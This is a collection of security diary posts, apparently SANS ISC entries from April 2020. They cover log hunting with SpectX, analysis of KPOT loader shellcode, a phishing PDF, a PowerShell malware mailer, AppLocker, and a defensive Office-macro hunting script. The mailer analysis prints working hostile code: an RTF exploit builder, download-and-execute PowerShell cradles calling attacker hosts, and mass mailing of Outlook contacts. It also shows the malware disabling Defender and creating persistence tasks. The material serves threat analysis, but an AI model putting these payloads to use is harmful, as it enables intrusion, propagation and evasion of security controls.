and saved it as Darklist_View.sx. This view is then incorporated into a query that cross-references all twelve of my monthly logs with the real-time raw IP blocklist from Darklist, then match only records with blocklist IP addresses in those logs.
Quick note to reputation list providers here, in the spirit of a more inclusive nomenclature, please consider allowlist and blocklist as opposed to whitelist and blocklist. Thank you.
The resulting query follows

@access_logs = PARSE(pattern:FETCH('file://HolisticInfoSecLogs/patterns/ApacheLog.sxp'),

// get IPv4 addresses recommended for traffic reviewing from US-CERT bad ip list:
@suspect_list = @[Darklist_View.sx]
//| filter(type = 'IPV4ADDR') 
| select(ipv4);

// execute main query:
| filter(clientIp IN (@suspect_list))     // we're interested only in records with suspect IP addresses

| select(timestamp,                         // select relevant fields
      CC(clientIp), ASN_NAME(clientIp), GEOPOINT(clientIp),  // enrich data with geoip, ASN, and geopoint lat/long for map visualization

A quick walkthrough of the three query phases.
First, the directory of logs is parsed using the principles defined in the Apache log pattern established earlier, and assigned to the @access_logs parameter.
Second, the real-time view of Darklist’s raw IP blocklist is parameterized in @suspect_list.
Third, access_logs is filtered to return only log entries for my website with entries from blocklisted IPs using the IN Boolean operator, and enriched with MaxMind data. The result is seen in Figure 2.


Figure 2: Darklist blocklist results

For a free desktop client built on Java, I have to say, I’m pretty impressed. Query times are quite snappy under those otherwise adverse operating conditions. ;-) My simple query to parse the entire year of logs for my website (not high traffic) returned 1,605,666 rows in 1.575 seconds. Matching all those rows against the real-time Darklist blocklist took only 3.513 seconds as seen in Figure 2. Also, hello Russia!
I also added some extra gravy here in the last phase, specifically GEOPOINT(clientIp). This exposes the Map feature in the Web UI. As the datascientists who work on my team will testify, I bug them mercilessly to visualize their results and output. SpectX makes it extremely easy to do so with the Chart and Map features. If your query includes the appropriate calls to trigger the features, you’ll see Chart and/or Map, SpectX searches for a certain type of column(s) that can be visualized. The Map feature requires GEOPOINT. The result on my dataset presents us with a hotspot view to the blocklisted culprits traversing my site, as seen in Figure 3.


Figure 3: Clustermap of blocklist traffic origins

Two modes are available in the Map: Cluster and Heatmap. You see a cluster map in Figure 3. The most blocklist traffic originates from AS60729 in Germany. This is furher illuminated courtesy of the heatmap view, as seen in Figure 4.

Figure 4: Heatmap of blocklist traffic origins

I’ve posted my queries and pattern, in a GitHub repo (SpectX4DFIR) so you may follow along at home. The logs are stored for you on my OneDrive. Read as much of the SpectX documentation as you can consume, then experiment at will. Let me know how it goes, I’d love to hear from you regarding successful DFIR analyses and hunts with SpectX.

This is another case of a tip-of-the-iceberg review, there is a LOT of horsepower in this unassuming desktop client version of SpectX. Thanks to the SpectX team for reaching out, and for building what appears to be a really solid log parser and query engine.

Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2020-04-20

KPOT AutoIt Script: Analysis

In diary entry "KPOT Deployed via AutoIt Script" I obtained 3 files:

  1. A legitimate, signed AutoIt interpreter (this is not malware)
  2. A heavily obfuscated AutoIt script, that is encoded as a PEM certificate
  3. An encrypted EXE: KPOT info stealer

In this diary entry, I'll share more details on the analysis of the AutoIt script.

It is encoded as PEM certificate:

I can decode this file with my tool base64dump.py:

This AutoIt script is heavily obfuscated: code obfuscation (a lot of unnecessary code) and string obfuscation. The function highlighted in the code above, is an obfuscated string decoding function.

Here I grep for calls to this function:

The function takes 2 arguments: a string and a number. The string is a sequence of numbers separated by "*". The encoding is not complex: to decode an obfuscated string, substract the second argument from every number in the first argument, convert to characters and concatenate.

Example: ("111*114*113*106", 3)

Subtracting 3 from each number: 108, 111, 110, 103. Converting to characters and concatenate: "long".

My translate.py tool can do this decoding in-place: it can replace each call to the decoding function, byt the decoded string. With option -r, I provide a regular expression that will match each call to the decoding function:


I also add a capture group () for both arguments:


Then I provide a Python function as argument to translate.py, to do the decoding. It receives a regex match object (capture groups are in oMatch.groups()), and returns the decoded string:

lambda oMatch: '\x27' + ''.join([chr(int(n) - int(oMatch.groups()[1])) for n in oMatch.groups()[0].split('*')]) + '\x27'

Here is the AutoIt script with deobfuscated strings:

Scrolling through the decoded script, I find a set of hexadecimal strings:

I'm going to decode this hexadecimal data. First I select all the lines with these hexadecimal strings (my Python template process-text-file.py can also be used as an enhanced grep tool):

With my tool re-search.py, I extract all the hexadecimal strings like this:

Then, with sed, I removed the leading "0x" string and then convert the hexadecimal data to binary data (hex-to-bin.py) and as a first analysis step, I extract strings with my tool strings.py:

Most of these are 4 character long strings, and when I concatenate the first strings, I read: NtOpenSection, NtMapViewOfSecti.

These are Windows API functions that are typical for process hollowing code: this is very likely process hollowing shellcode.

Disassembling with the netwide disassembler shows code that indeed looks like shellcode (I first try to disassemble this shellcode as 64-bit code, because the AutoIt interpreter is a 64-bit application):

In disassembled shellcode, constant values that are moved to registers, or pushed on the stack, are often used to build strings that interest us (like API function names). Here strings MZ and PE further confirm that this is shellcode that does something with a PE file.

I grep for all these constant, hexadecimal values:

And then I convert them to binary data. I can't use my hex-to-bin.py tool here to achieve this, because the hexadecimal strings need some extra processing. First, uneven length strings need to be prefixed with 0 before converting to binary data, and then each converterd value needs to be reversed (the data is little-endian). I use my tool to achieve this, and my tool to concatenate all the strings:

Not only are there many API functions here used in processing hollowing, but also crypto API functions, and also a function to create a mutex. This is typical for "frenchy shellcode", process hollowing shellcode that is popular now with malware authors, and that works with an encrypted PE file (the guest) and creates a mutex: frenchy_shellcode_{VERSION}.

Let's find this mutex:

frenchy_shellcode_06: this confirms that this is process hollowing shellcode.

Remark that you will only find this "frenchy_shellcode_06" mutex via static analysis. If you perform dynamic analysis, a mutex with a random name will be created in stead. That's because in the AutoIt script, there is code to replace the hexadecimal code for this mutex with other hexadecimal code with a random mutex name:

blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-19

KPOT Analysis: Obtaining the Decrypted KPOT EXE

In diary entry "KPOT Deployed via AutoIt Script" I obtained 3 files:

  1. A legitimate, signed AutoIt interpreter (this is not malware)
  2. A heavily obfuscated AutoIt script, that is encoded as a PEM certificate
  3. An encrypted EXE: KPOT info stealer

In this diary entry, I'll share more details on how I obtained the decrypted KPOT EXE. Also take a look at "Reader Analysis: "Dynamic analysis technique to get decrypted KPOT Malware.", a reader's analysis.

To obtain the decrypted EXE, I used dynamic analysis. By executing the AutoIt interpreter with the decoded AutoIt script, the shellcode in the AutoIt script decrypted the KPOT EXE and injected it in a dllhost.exe process (process hollowing):

While dllhost.exe was running, I created a process dump for it with procdump. I used option -mp to dump all read/write memory pages.

Then I used my tool pecheck.py to carve PE files:

As can be seen, one 32-bit executable was found inside the process memory dump. As this EXE was not present on VirusTotal, I had to extract it like this:

With option -l 1, I select the first PE file found inside the memory dump, with option -g s, I extracted the stripped PE file (e.g. PE file without overlay), and option -D is required to produce a binary dump (default is hex/ascii dump).

I submitted the EXE to VirusTotal: 56ad7b243511ee7398d43df7643dc904.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-18

Maldoc Falsely Represented as DOCX Invoice Redirecting to Fake Apple Store

This is a phishing document received today pretending to be an invoice (Word Document) from Apple Support but initial analysis shows it is a PDF document.

Using Unix command file to verify the file type: BgtCyNSnF4ZIpxYsNfvqsVB3TxfwkH6cuywkUcuLc.docx: PDF document, version 1.7

MD5: 756b20a4e96cdce0882bbff696313ccc  BgtCyNSnF4ZIpxYsNfvqsVB3TxfwkH6cuywkUcuLc.docx

First, using pdfid.py:

Something caught my eye where is shows /URI 4 items and some stream objects. Using the pdf-parser.py against the file like this:

Again, I see the file appears to have some URLs (/URI). With another pass, this time to get the URLs:

The URL isn't used to download malware to the host but to entice the user to login a fake Apple store to steal the user credentials.

Since the SSL certificate is valid (green lock), I open it up to see how long it has been register. Based on the certificate information, the certificate was issued 5 days ago by cPanel and active for the same amount of time:

[1] https[:]//appstore[.]invoiceapp[.]com.ksmdhf827j[.]info

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2020-04-17

Weaponized RTF Document Generator & Mailer in PowerShell

Another piece of malicious PowerShell script that I found while hunting. Like many malicious activities that occur in those days, it is related to the COVID19 pandemic. Its purpose of simple: It checks if Outlook is used by the victim and, if it's the case, it generates a malicious RTF document that is spread to all contacts extracted from Outlook. Let's have a look at it. The script is available on VT (SHA256: 1f7f0d75fe5dace66ec9b5935d28ba02765527f09f58345c2e33e17ab4c91bd7) and has a low score of 8/60[1].

First, it performs malicious activity only if Outlook is available on the victim's computer:

if((get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Outlook).count -gt 1) {

If the test is successful, a malicious RTF document is generated and dumped on disk ('urgent.doc'). Here is the beautified code. Most of the code was compressed and Base64-encoded.

$gdoc_cmd='cmd /c powershell IEx(New-Object Net.WebClient)."DownLoadString"(''hxxp://t[.]awcna[.]com/mail.jsp?%username%*%computername%'')'
$dde_cmd='powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(''hxxp://t[.]awcna[.]com/mail.jsp?dde*%username%*%computername%'')&'
$gdoc_text='This file is protected by Microsoft Office.Please enable Editing and Content to see this document.'

function str2hex($str) {

function u162hex($str){

function int2hex($num){

$filename=-join([char[]](48..57+65..90+97..122)|Get-Random -Count 15)+".sct"
  <?XML version="1.0"?>
  <registration description="fjzmpcjvqp" progid="fjzmpcjvqp" version="1.00" classid="{204774CF-D251-4F02-855B-2BE70585184B}" remotable="true">
  <script language="JScript">
          new ActiveXObject("WScript.Shell").Run('$cmd',0,1);window.close();

  $package_data="0200"+(str2hex $filename)+"00"+(str2hex $fakepath)+"0000000300"+(int2hex ($fakepath.length+1))+ \
                       (str2hex $fakepath)+"00"+(int2hex $data.length)+(str2hex $data)+(int2hex $fakepath.length)+ \
                       (u162hex $fakepath)+(int2hex $filename.length)+(u162hex $filename)+(int2hex $fakepath.length)+(u162hex $fakepath)
  $header_data="0105000002000000080000005061636b616765000000000000000000"+(int2hex ($package_data.length/2))
  $package="{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "+$header_data+$package_data+"0105000000000000}}"

  $rtf=$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream.(,$([Convert]::FromBase64String('
    7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGA \
    qsgfP358Hz8ifvEv/n3r9hfv/BL6WU1+Op+2+JGt27JYvsWv69Usa3P69lv4a1pmTZN+t6pn46fVdL3Il+344Jf8EvM1Nc3Snd2d+zt49nbkeSg/9p/tn+zf \
    v7e3f/Lpw09PP32i34bPMf55unPybHf3dOd498nu7vHpbrSl99w7xT87O89Onz3j3j4daGgg9SDqBwZj/RPw8HRbP/vR86Pn/yfP/yuH8VR/qvz1fv7o+dHz \
    o+cbef7fCOQ+2eFPn8n/H+yLWd4nn+LTU/n7AX3wQL2Kn41nF/7D/b6dt/4BexvuOQne3h/yPnYe7Ow//fTk+NN7D57cf7pHXoaD4iDj2YW3ROMlwJ/edx// \
    0B54YXvDfs6N77/ns9v1yO7p+MEHhMv+Q5n7Tz8VnvjZfnYxG5gfg5XO0zc+/n392eUYjB9zb8b95GePBl2U8OwCrx/G/CtvP3nQ+dzQ3UiFoX/HD7B00/d/ \
    5B/86PnR837P/xtbq/zvmcxBP14PH2t/H95gl50+udF+7x7LX3v37+/vP72Pnye/ePeX0CekkI+fPj2Vr29+7h3oT0+Z7ZHiu09Kdv+p6ED+m7D4xXu/5OTT \
    [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() -f $package,(str2hex $filename),(u162hex $filename)

  $rtf_header=" \
    {\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang103 \
    3\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 020206030 \
    50405020304}Times New Roman;}
    {\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\ \
    fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}
    \fs21\lang1033\langfe2052\kerning2\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af3 \
    1507\afs60 \ltrch\fcs0 \b\fs60\insrsid338069 \hich\af31506\dbch\af31505\loch\f31506 AAAAAAAA}{\rtlch\fcs1 \af31507\afs60  \
    \ltrch\fcs0 \b\fs60\insrsid859070\charrsid859070\par }{\rtlch\fcs1 \af31507 \ltrch\fcs0 \lang1024\langfe1024\noproof\insr \
    sid338069 {\shp{\*\shpinst\shpleft397\shptop564\shpright8667\shpbottom4384\shpfhdr0\shpbxcolumn\shpbxignore\shpbypara\shp \
    \hich\af31506\dbch\af31505\loch\f31506 BBBBBBBB}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid859070 
    \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \hich\af31506\dbch\af31505\loch\f31506 C:\\\\Programs \
    \\\\Microsoft\\\\Office}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827 \\\\\hich\af31506\dbch\af31505\l \
    och\f31506 12}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \\\\\hich\af31506\dbch\af3 \
    1505\loch\f31506 MSWord\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\system32\\\\cmd.exe /c}{\rtlch\fcs1 \af31507\afs28 \l \
    trch\fcs0\fs28\cf6\insrsid7149827 \hich\af31506\dbch\af31505\loch\f31506  calc.exe" }{\rtlch\fcs1 \af31507\afs28 \ltrch\f \
    cs0 \fs28\cf6\insrsid748411 \hich\af31506\dbch\af31505\loch\f31506 "Microsoft Office Remote \hich\af31506\dbch\af31505\lo \
    ch\f31506 Database" }
    \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0  \
    \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \ls \
    dlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}"
    ($rtf_header+$rtf.substring(3))|out-file -encoding ascii $att

The code is much more longer but I kept only the relevant part where the attacker replaces 'AAAAAAAA' by the document title, 'BBBBBBBB' by some juicy text and finally the 'calc.exe' command by his own malicious recipe (a Powershell script).

The generated document (SHA256:88917f08fd169a257de0a015e83dcc11a41f5a87138d66a79e98b078bf804939) has a VT score of 31/59 on VT[2] and here is how it looks when opened:

Once the document generated, it is sent to all contacts found in Outlook:

$curr_date=Get-Date -Format "yyyy-MM-dd"

# Extract email addresses

function get_contacts($ol_folders) {
    if($folders.count -ge 1){
        foreach($folder in $folders) {
    foreach($item in $ol_folders.items) {

# Cover our tracks and delete sent emails

function del_sendmail($subject,$address,$flag) {
    for($i=$tcount;($i -gt 0) -and ($i -gt ($tcount-200));$i--) {
        $item = $ol_out.items.item($i)
        if($item.subject -eq $subject){
            write-host "Delete mail of subject:$subject..."

$ol=New-Object -Com outlook.application
$contacts=$contacts|select -uniq

# Extract the victim's email address


# This URL returns a 404 :(
IEX(New-object net.webclient).downloadstring("hxxp://207[.]154[.]225[.]82/report.json?type=mail&u=$muser&c="+$contacts.count)

$mail_subject_search="The Truth of COVID-19" 
$mail_subject="The Truth of COVID-19 ????????????"
$mail_body="Virus actually comes from United States of America"
del_sendmail $mail_subject_search "" 6

# Send the malicious RTF to all contacts

foreach($contact in $contacts) {
    $mail.Subject = $mail_subject 
    $mail.Body = $mail_body
    write-host "Send mail to $contact succ..."
    sleep 5
    del_sendmail $mail_subject_search $contact 4
    del_sendmail $mail_subject_search $contact 5
    del_sendmail $mail_subject_search $contact 3

# Cover our tracks, delete the RTF doc

remove-item $att

Now, let's have a look at the second stage. Once, the RTF document is opened, it tries to exploit the well-know %%cve:2017-8570%%. If successfully exploited, it triggers the execution of the following command:

powershell IEx(New-Object Net.WebClient)."DownLoadString"('hxxp://t[.]awcna[.]com/mail.jsp?username*computername')

The downloaded piece of PowerShell code is nicely obfuscated: The code can be reversed (right to left) and many strings are used to pollute the code. Here is a sample of the code:

" $($Ofs='')"+ ([sTRiNg] [RegEX]::maTChes("))63]RaHC[]GnirTs[,)89]RaHC[+66]RaHC[+55]RaHC[((eCALPer.)93]RaHC[]GnirTs[,)401]RaHC[+77]RaHC[+021]RaHC[((eCALPer.)'
 ))421]rAHC[,hMxV13hMx  EcALPerC-63]rAHC[,hMx5VehMxEcALPerC-93]rAHC[,)28]rAHC[+87]rAHC[+84]rAHC[( eCaLpeR- 69]rAH'+'C[,)11'+'1]rAHC[+18]rAHC[+77]rAHC[( EcALPerC-43]rAHC[,)67]rAHC[+68]rAHC[+58]rAHC[(eCa'+'LpeR- 29]rAHC[,hMxK6phMx  eCa'+'LpeR-)hMxF/ astR nt/ eteled/ skhMx+hMxsath'+'cs
F/ 1astR nt/ eteledhMx+hMx/ sksathcs
F/hMx+hMx 2astR nt/ eteled/ sksathcs
5'+' peels-trats  

)LV'+'UrotartsinimdALVU ]eloRnItliuBswodniW.lapicnirP.ytiruceS[(eloRnIsI.))(tnerruCteG::]ytitnedIswodniW.lapicnirP.ytiruceS[]lapicnirPsw'+'odnihMx+hMxW.lapicnirP.ytiruceS[(=as5Ve
'+'RN0LVU})m5Ve]][rahc[nioj-'+'(XEI{)RN0RN03441e0fa0c347d9b98e7bee8a2dda94aRN0RN0qe-s5Ve(fi;})RN0RN02xRN0RN0(gnirtSoT._'+'5Ve=+s5Ve{hcaer'+'ofV13)m5VehMx+hMx(hsaHetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS.metsyS[;)y5Ve(LVUataDdaolnwoDLVU'+'.)tneiloQMCbeW.teN '+'tceoQMjbO-woQMeN(=m5Ve;RN0RN0RN0+hMx+hMxv5Ve+RN0pRN0R'+'NhMx+hMx0+y5Ve=z5Ve;RN0RN0sj.LhMx+hMxTC/RN0RN0+x5Ve+RN0RN0//:ptthRN0RN0=y5Ve;PER;RN0RN02U_RN0RN0+RN0RN01U_RN0RN0=x5Ve;RN0RN0T_RN0RN0=kcuD_nomeL5VeRN0+RN0LVU c-RN0=spmt5Ve
)RN0ddMMyyyyRN0 tamroF- etaDhMx+hMx-teG(+LVU_}v{5Ve?LVU=v5Ve
1 gnirotinoMemitlaeRelbhMx+hMxasihMx+hMx'+'D- echMx+hMxnereferPp'+'MhMx+hMx-teS
1 '+'hMx+hMxeulaV- RN0RSelabsiDRN0 emahMx+h'+'MxN- RN0er'+'otseRmetsySK6pnoisreVtnerruCK6pTN swodniWK6ptfosorciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS
1 eulaV- k5Ve emaN- RN0cvSK6pretneC ytiruceSK6ptf'+'osor'+'ciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS
1 eulaV- k5Ve emaN- RN0retn'+'eC ytiruceSK6ptfosorciMK6pERAWTFOSK6p:MLKHRN0 htaP- ytreporPmetI-teS
hMx+hMx{))RN0yfi'+'toNelbasiDllaweriFRN0,RN0yfitoNelbasiDetadpUotuARN0,RN0yfitoNelbasiDetadpURhMx+hMxN0,RN0yfitohMx+hMxNelbasiDsuriVitnARN0,RN0edirrevOllawerhMx+hMxiFRN0,RN0edirrehM'+'x+hM'+'xvOetadpURNhMx+hMx0,RN0ehMx+hMxdhMx+hMxirrevOshMx+hMxuriVitnARN0'+'(@ ni k5Ve(hcaerof
}1 eulaV- k5hMx+hMxVe emaN- RN0noitcetorP emiT-laeRK6prednefeD swodniWK6ptfosorciMK6pse'+'iciloPK6pERAWThMx+hMxFOShMx+hMxK6p:MLKHRN0 htaP- ythMx+'+'hMxreporPmetI-teS{))RN0elbanEemitlaeRnOnacSelbasiDRNhMx+hMx0,RN0noitcetorPsseccAnOelbasiDRN0,RN0gnirotinoMroivaheBelbasiDRN0(@ ni k5Ve(hchMx+hMxaerof
1 eulaV- RN0erawypSitnAelbasiDRN0 emaN- hMx+hMxRN0rednefeD swodniWK6ptfosorciMK6pseic'+'iloPK6pERAWTFOSK6p:MLKHRhMx+hMxN0'+' htaP- ytreporPmehMx+hMxtI-teShMx('+'(( )hMxhMxNioj-hMxxhMx+]3,1[)ecNerEfErpesobRE'+'vbB7]GNirTS['+'( ( '+'. '(( )''NiOJ-]2,11,3[Eman.)'*RDM*' elBaIRav-teG(( & " ,'.', 'R'+'IgH'+'t'+'ToLeft' )|FOreAcH{ $_} )+"$(SeT-iTEM 'vAriAbLE:OFs'  ' ')"| . ( $Shellid[1]+$SHeLLId[13]+'x')

Once decode, we have a clear view of the code. The script tries to disable Windows security features:

foreach(k in @(DisableBehaviorMonitoring, DisableOnAccessProtection, DisableScanOnRealtimeEnable)) {
    Set-ItemProperty -Path HKLM:SOFTWARE:Policies:Microsoft:Windows DefenderReal-Time Protection -Name k -Value 1

foreach(k in @(AntiVirusOverride, UpdateOverride, FirewallOverride, AntiVirusDisableNotify, UpdateDisableNotify, AutoUpdateDisableNotify, FirewallDisableNotify)) {
    Set-ItemProperty -Path HKLM:SOFTWARE:Microsoft:Security Center -Name k -Value 1
    Set-ItemProperty -Path HKLM:SOFTWARE:MicrosoftS:ecurity CenterSvc -Name k -Value 1

Multiple scheduled tasks are created based on a list of domain names:

    schtasks /create /ru system /sc MINUTE /mo+ 60 /tn tnftn /F /tr powershell PS_CMD
} else {
    schtasks /create /sc MINUTE /mo 60 /tn tnf+tn /F /tr powershell PS_CMD

Some domains are hardcoded, others are randomly generated:

PS C:\Users\REM> $us

The executed command is 'powershell PS_CMD' but I did not discover yet how PS_CMD is generated/populated. I was not able to download the next stage, the malware itself...

[1] https://www.virustotal.com/gui/file/1f7f0d75fe5dace66ec9b5935d28ba02765527f09f58345c2e33e17ab4c91bd7/details
[2] https://www.virustotal.com/gui/file/88917f08fd169a257de0a015e83dcc11a41f5a87138d66a79e98b078bf804939/details

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-16

Using AppLocker to Prevent Living off the Land Attacks

STI student David Brown published an STI research paper in January with some interesting ideas to prevent living off the land attacks with AppLocker. Living off the land attacks use existing Windows binaries instead of downloading specific attack tools. This post-compromise technique is very difficult to block. AppLocker isn't really designed to block these attacks because AppLocker by default does allow standard Windows binaries to run.

David is using a more restrictive AppLocker configuration that blocks normal users from running some of the more popular tools that attackers tend to use. He wrote specific AppLocker rules around some of the popular living off the land attack guides and summarized them in his research paper. You can find his complete paper here: https://pen-testing.sans.org/resources/papers/gpen/preventing-living-land-attacks-140526 .

Or check out the YouTube video I recorded with David that includes a brief proof of concept demo:


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-04-15

No IOCs? No Problem! Getting a Start Hunting for Malicious Office Files

Most of us know that macros in Office documents are one of the most common ways to get malware into an organization.  Unfortunately, all to many organizations depend on their AV products to detect these macros and the associated malware.  It's sad fact that macro's are easy to write, and it's not too tough to evade AV by being smart about how you write a malicious macro.

Even worse, there is continued push-back from managment that simply blocking macro's entirely is something that "can't possibly be done", because some critical doc or other might get dropped in the process - usually without any real examples of said critical files.  (Even though from what I typically see, the more critical a document is, the less likely it is to have a macro in it)

So that leaves us with potential malware on the inside of our organization.  If our AV product won't detect it, how can we find it?  As always, my first go-to is "could we write a PowerShell script to help with that?", and it turns out that yes, you can!

What we are looking for is:

  • Office files that have macros in them
  • Office files that have the "it came from the internet" flag set on them
  • Zero byte office files

Let's start from the bottom of that short list and work up.

A "zero byte" file of any kind is a great indicator in itself - often these are files that your AV product actually detected, and prevented from being saved on disk.  Why are we interested in these?  First of all, you might / should want to contact the person involved with that file and discuss with them what they might have been doing at that date/time, and suggest that receiving random office files from strangers is a really bad idea.  If you run these scans frequently, you're likely asking them to think back an hour or two, you're not asking them about last week.  Secondly, just because the file is zero bytes doesn't mean that the macro and associated malware didn't detonate.  You might still want to look at that person's workstation and the other files in their profile directory and other 4data locations.

Next up - "it came from the internet".  This uses a pretty neat feature in Windows called "Alternate Data Streams".  This is actually a pointer to a whole other possible set of file content, which can contain different data (including malware).  Back in the day, this was used to support multiple filesystems (NFS, HFS and so on), however, a main use of alternate datastreams these days is to add various flags to each file - the one we're looking at is called "ZoneID", which stores some indication of where the file came from with the file itself.  You can explore Alternate Data Streams using "dir /R" or the "streams" command in Microsoft Sysinternals ( https://docs.microsoft.com/en-us/sysinternals/downloads/streams )

Enumerating the ZoneID for a single file is pretty simple in PowerShell - first do a "get-content" on the file, which includes the various datastreams of the file, then look for the ZoneID Stream.  The ZoneId can be one of the following values:

0 = "Local machine"
1 = "Local intranet"
2 = "Trusted sites"
3 = "Internet"
4 = "Restricted sites"

PS D:\> $b = (get-content .\example.xlsx -Stream Zone.Identifier)

PS D:\> $b

Note that this datastream also includes the source URL and the referrer that the file came from - this can (of course) be useful as well.  If the site is known to be malicious, or is something we might sink-hole in our dns services, that's an IOC right there.  If it's a well-known site, then if the file ends up being malware we might want to pass the word up the chain, to let that organization know that their site might be compromised.

Narrowing our code down to just collect the value of the zoneid:

$zone = ($b -match "ZoneId").split("=")[1]

If that is 3, then the file is marked as "from the internet"

Finally, how can we tell if an office file contains macros?  It turns out that in powershell you can "drive" a session in Word or Excel (or any office app), and just open any of these files.  Once open, the presence of a macro can be collected in a property variable of the open file.  For instance, to check for XL macros:

$objExcel = New-Object -ComObject Excel.Application
#full path to file is required here
$WorkBook = $objExcel.Workbooks.Open("\\someshare\test.xlsm")



Or to check for xl 4 macro sheets, look for the value of $workbook.excel4macrosheets, so in code you would just count them and look for non-zero values:

$workbook.Excel4MacroSheets.count -ne 0

The code for word is slightly different, but the "HasVBProject" variable name stays the same.
Be sure to open the file such that:

  • It's open as read-only.  This means that if someone else has the file open you can still check it, and that as you are checking the file, you're not preventing anyone else from opening it.  It also means that there's no chance that you'll be modifying the file contents, or its timestamp, owner or other metadata as you poke at it.
  • You don't update your MRU (Most Recently Used) list - if you're running this from a station that might actually use office at somepoint, when you open Word or Excel you don't want your "most recent files" list to be full of other peoples' files

All this being said, where should we look for these files?  If you redirect the various "my documents" folders in a group policy, then look there!  If you have a share that is the "store your stuff here" share in your organization, then look there!  If you are looking for inadvertant "oops, I clicked a link" events, then look in users' temp directories.  If the actual user is running the "hunting" script, maybe as part of the login script, the location of that user's temp directory can be read in PowerShell from the environment variable: $env:temp or $env:tmp (by default these have the same value - if they differ then check both)

Anyway, with all that said, we can start collecting data.  In some organizations, any macros at all might be cause for concern.  In other organizations, the "macros from the internet" will be the red flag to look for.  If we collect everything discussed so far, we can slice and dice the collected data any way required once we have it.

# this script checks word and excel documents for zoneid, presence of macros and zero-byte file
# the file owner, last write date and last access date is also collected
# This can easily be extended to include project, visio and other office files
# updated source code will be located at: https://github.com/robvandenbrink

$targetlist = @()
$filelist = @()
$resultslist = @()

### input data ###
# file extensions of interest - update as needed
$exts = "xls","xlsx","doc","docx","docm","dotm","xlm","xlsxm"

# the share to enumerate - use the knowledge of your environment to make an effective choice here
# or as Indiana Jones was told "choose wisely"
# if the user is running this, to check that users' temp directory:
# $targetshare = $env:temp

# or if you are targeting a user or department share, specify the
# full path to the share
# $targetshare = "\\some\fully\qualified\unc"
# in any case, update this variable to best suite your organization and situation:

$targetshare = "L:\testing"

# add a trailing backslash if not present in the share defined above
if ($targetshare.substring($targetshare.length -1) -ne "\") { $targetshare += "\" }

# collect all of the filenames that match the identified extensions
# this can take a while in a large environment
foreach ($ext in $exts) {
    $fullpath = $targetshare + "*." + $ext
    $targetfiles = get-childitem -Path $fullpath -Recurse -file -Force
    $filelist += $targetfiles

# yes, this loops multiple times, so is less efficient time-wise, but is more efficient in how
# many filenames are collected.  
# The alternative is to make one pass, collect all the filenames and winnow the list down from there
# if you prefer that option, it would look something like:
# $allfiles = get-childitem -targetshare -recurse -file -force
# foreach ($ext in $exts) {
#    $tfiles = $targetfiles | where-object { $_.name -like "."+$ext }
#    $filelist += $tfiles
#    }
# or if you want to do it in one line, you can pipe the get-childitem statment into a where-object command,
# with your various extensions hard-coded (hard-coding anything is $bad)

# with the targetfile list collected, loop through and collect:
#            which zone did the file come from?
#            does the file contain macros?
#            when was the file created?
#            when was the file last accessed?
#            is the file password protected?  (another common IoC for malware, but real people do this too)
#            and who saved the file? (who is the file owner)
# this opens each file in the matching MS Office application, so it can take a while as well
# be sure to open the various office apps **once**, then open each file in turn, collect the data,
# then close that file before proceeding to the next one.
# be sure to close the office app when done

# Open the office apps.  Set them both to run in the background
$objExcel = New-Object -ComObject Excel.Application
$objWord = New-Object -ComObject Word.Application
$objExcel.visible = $false
# Disable macro execution, either using the value or string method

# thanks to our anonymous reader for pointing this out
# also disable alerts (note that this does not apply to alerts due to macros)
$objExcel.AutomationSecurity = 3 # msoAutomationSecurityForceDisable

$objExcel.DisplayAlerts = $false
$objWord.visible = $false
$objWord.AutomationSecurity = 3 # msoAutomationSecurityForceDisable

$objWord.DisplayAlerts = $false

# Vars for file open
# XLImportFormat is set to 5, don't convert anything.  This isn't used, but is needed to
# test for password-protected files (you can't skip variables as you open files)
$ConfirmConversions = $false
$UpdateLinks = 0
$ReadOnly = $true
$AddToRecentFiles = $false
$XLImportFormat = 5

foreach ($indfile in $filelist) {
    $f = $indfile.fullname
    $ext = $indfile.extension

    # zero out critical values for each loop
